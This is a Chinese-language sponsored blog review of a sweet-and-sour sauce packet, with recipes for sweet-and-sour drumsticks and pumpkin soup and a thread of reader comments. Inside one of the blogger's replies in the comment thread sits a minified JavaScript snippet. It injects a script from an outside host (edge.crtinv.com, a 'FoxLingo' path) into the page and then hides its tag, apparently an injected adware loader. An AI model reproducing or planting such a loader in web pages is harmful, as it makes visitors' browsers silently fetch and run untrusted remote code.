專職媽媽趕忙於每天有做不完的家事，還要照料小孩或是職業媽媽下班後還要急急忙忙的晚餐料理。
若是有一種簡單又好料理的調理醬包，應該會是婆婆媽媽們的最愛!!
糖醋排骨大家都有吃過吧!沒有親手做過這項料理可能不知道，好吃的醬準備起來可是麻煩事。
配方若是調配不勻，不就是過甜就會過酸，導致一道菜就這麼作廢了。
今天就來介紹這一款【憶霖《快易廚》酸甜排骨醬】讓您1.2.3.料理輕輕鬆即可上桌。
別看它小小一包 80 G，似乎沒甚麼量。其實不然....
所謂:麻雀雖小，五臟俱全!該有的全都搭配得恰到好處....
重要的是全都是食用級，照顧全家人健康，絕不添加防腐劑!!
產地:MIT 這是一定要愛咱們家的品牌啦
!!
下廚就是要簡單輕鬆做1.2.3.就能上菜，好讓婆婆媽媽們料理不再是苦差事!!
【憶霖】揪甘心ㄟ，連食材都幫我們想好要如何備製了呢~
詳細閱讀之後，即可開始當大廚囉~
因於不常下廚的我，想到要調理肉類就免不料會擔心做出來口感嫩不嫩的疑慮。
故就挑其常運動的部位"棒棒腿"來當今天預備製作的食材。
準備好所需食材如下:
油、胡椒粉、醬油、細砂糖、地瓜粉、還有我們的主角:憶霖《快易廚》酸甜排骨醬
棒棒腿、鳳梨、洋蔥、甜椒.....等一切備妥後即可開始料理。
首先為求使肉好入味，所以先進行醃製工作，以便節省烹調時間和過程。
PS.不急著做的話，前一晚放入冰箱會使其更容易入味喔~
加入地瓜粉進行肉的 SAP按摩並混勻，
備好油鍋小火開始油炸至慢慢呈現金黃色，轉大火逼油出來。
然後盛起備用。
蔬菜切小塊倒入鍋中炒熟--->此時加入憶霖《快易廚》酸甜排骨醬
再將炸好的肉塊一起倒入拌炒均勻即可。
LOOK~香噴噴的酸甜棒棒腿上菜囉!!
因有添加酸甜醬凸顯鮮紅色的外表下，更加晶瑩剔透。
蔬菜中有鮮鳳梨酸甘蜜甜充其量的，使色彩也亮眼奪目!!
試試味道如何??
怎麼也都想不到第一次竟然就那麼地成功耶~
酸甜的醬汁發揮如此淋漓盡致，竟讓肉質滑溜、鮮嫩多汁又入味。
再搭配麵條+一碗黃澄澄的南瓜濃湯味道香濃滑順，
也能好好大快朵頤一番。
開動囉~
我們家的好食客紛紛聞香一擁而上。
以往總是挑嘴的他，時常嫌我料理不對味。這下總可板回一城囉
瞧~我家肉食主義的芋圓拔一試便成主顧，吃得倒是津津有味更是一口接一口讚不絕口。
還建議說下回醬汁可再多一點，肉不夠吃啦.........
再者~剛剛有提到南瓜濃湯....順便介紹如何製備!
南瓜................ 600G 調味料:海鹽..........適量
鮮奶................一杯 研磨黑胡椒(隨意)
高湯.................一碗
洋蔥.................1/4顆
無鹽奶油塊.........適量
做法:
1.南瓜洗淨去籽切片；洋蔥去皮切絲備用。
2.熱鍋倒入2大匙油燒熱，放入洋蔥略炒，續加入南瓜片炒熟。
3.再倒入高湯略煮。
4.5.整鍋倒入調理機中攪打成泥狀。
(PS.喜愛吃到南瓜的口感，無需攪打太碎。)
6.將做法5.南瓜泥倒回原鍋中續煮至略濃稠，倒入牛奶+無鹽奶油塊邊攪拌直到煮勻，
(PS.為其不破壞牛奶營養成分及焦黑結塊，於加熱時需控制在60度C.以下喔~)
以海鹽和研磨黑楜椒調味，盛入碗中即完成。
以上介紹真的很容易上手喔，換您也一起來當大廚吧~喜歡就趕緊試著做做看吧!!
**廠商邀稿徵文。
每個人感受有所不一，此體驗純屬芋圓麻心得分享!!
如欲轉載請註明出處，謝謝~**
憶霖《快易廚》讓你輕鬆變大廚!
- 麻吉媽 於 2012-08-28 19:49 9F
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媽咪的手藝好棒喔~給你一個讚
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版主於 2012-09-03 13:56 回覆
[removed] !function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();[removed] 您過獎了~都是大家互相切磋的結果喔~
- vickey 於 2012-08-21 09:23 8F
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- 看起來好好吃!
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版主於 2012-08-21 11:48 回覆
很不錯呦~一定要試試看!!料多味美~
- 維媽 於 2012-05-02 08:57 7F
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芋圓爸也入鏡了～
那個南瓜濃湯好讚喔～
謝謝芋圓麻咪的分享，我下次也來試做看看。
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版主於 2012-05-02 14:24 回覆
真的讚的，都不加一滴水，原汁原味^^6
- 瑋瑋＆涵涵媽 於 2012-04-28 00:44 6F
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哈哈，芋圓爸也入鏡了，讚哦~
看到這一篇，肚子都餓起來了
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版主於 2012-04-28 00:56 回覆
真的是很難得耶~我也出乎意料!!有利益(盒他的胃口)誘惑吧~XD
您也一起動手做做看，真的不錯呢!!
- hugh 於 2012-04-27 15:17 5F
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哇 連芋圓爸都出現了
果然芋圓麻的好廚藝好味道才能說動芋圓爸露臉
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版主於 2012-04-28 00:55 回覆
呵呵~只能說有好吃的他才會獻身
- 邦邦寶貝 於 2012-04-26 22:13 4F
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麻吉的老公要開始露臉了喔！！
邦麻還是第一次看到呢～好有夫妻臉！！
那棒棒腿好想咬上一口，光看就口水直流了
芋麻手藝真的超好的 尤其那南瓜濃湯我要來學一下
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版主於 2012-04-26 23:18 回覆
都碼要有利益誘惑，才肯配合呀
不然哄....死都不肯> <~
- 玲兒 於 2012-04-26 19:58 3F
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看起來就好好吃喔！
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版主於 2012-04-26 20:20 回覆
有空的話也來動手試試看吧!!
- chuchu 於 2012-04-26 19:23 2F
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芋圓麻的廚藝真是了得
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版主於 2012-04-26 19:33 回覆
您過獎囉!!多虧有好友互相揣摩研究啦~
- 小鈞馬麻 於 2012-04-26 00:12 1F
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你老公很有口福喔!!^^
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版主於 2012-04-26 00:17 回覆
嘻!!偶爾犒賞他也不錯啦~
您好:
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側邊欄如何設定可參考
http://www.nidbox.com/faq/qa/31
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